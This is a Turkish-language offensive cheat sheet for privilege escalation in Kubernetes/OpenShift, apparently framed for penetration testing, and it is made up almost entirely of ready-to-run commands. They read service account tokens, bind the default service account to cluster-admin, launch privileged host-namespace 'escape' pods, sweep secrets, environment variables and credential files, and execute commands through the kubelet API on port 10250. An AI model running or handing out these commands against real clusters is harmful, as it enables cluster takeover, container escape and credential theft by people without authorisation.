OpenShift - SCC bypass

K8s privesc

OpenShift - SCC bypass — Kubernetes / OpenShift ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

1. Mevcut principal izinlerini (inline/attached/bound) çıkar.

2. PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.

3. Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.

4. Yeni kimlikle hesap/proje etkisini kanıtla.

Kimlik / oturum

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

kubectl config current-context

kubectl auth can-i --list

cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40

Hedef komutlar

OpenShift - SCC bypass için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations

kubectl get networkpolicies -A

kubectl get scc 2>/dev/null || oc get scc

kubectl auth can-i --list

kubectl auth can-i create pods --all-namespaces

kubectl auth can-i get secrets --all-namespaces

kubectl auth can-i create clusterrolebinding

kubectl get ns

kubectl get pods,sa,secrets,roles,rolebindings -A

kubectl get clusterroles,clusterrolebindings

kubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'

cat /var/run/secrets/kubernetes.io/serviceaccount/token

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

Yükseltme primitifleri

Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.

kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default

kubectl patch serviceaccount default -p '{"automountServiceAccountToken":true}'

kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: escape
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: c
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep","3600"]
EOF

Secret / credential avı

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'

printenv | sort

find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'

Kanıt

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash

mkdir -p evidence/cloud && tee evidence/cloud/notes.txt

Ek komutlar

curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

kubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -u

kubectl create -f evil-pod.yaml

kubectl exec -it POD -n NS -- /bin/sh

kubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'

kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'

curl -k https://$NODE:10250/runningpods/

curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'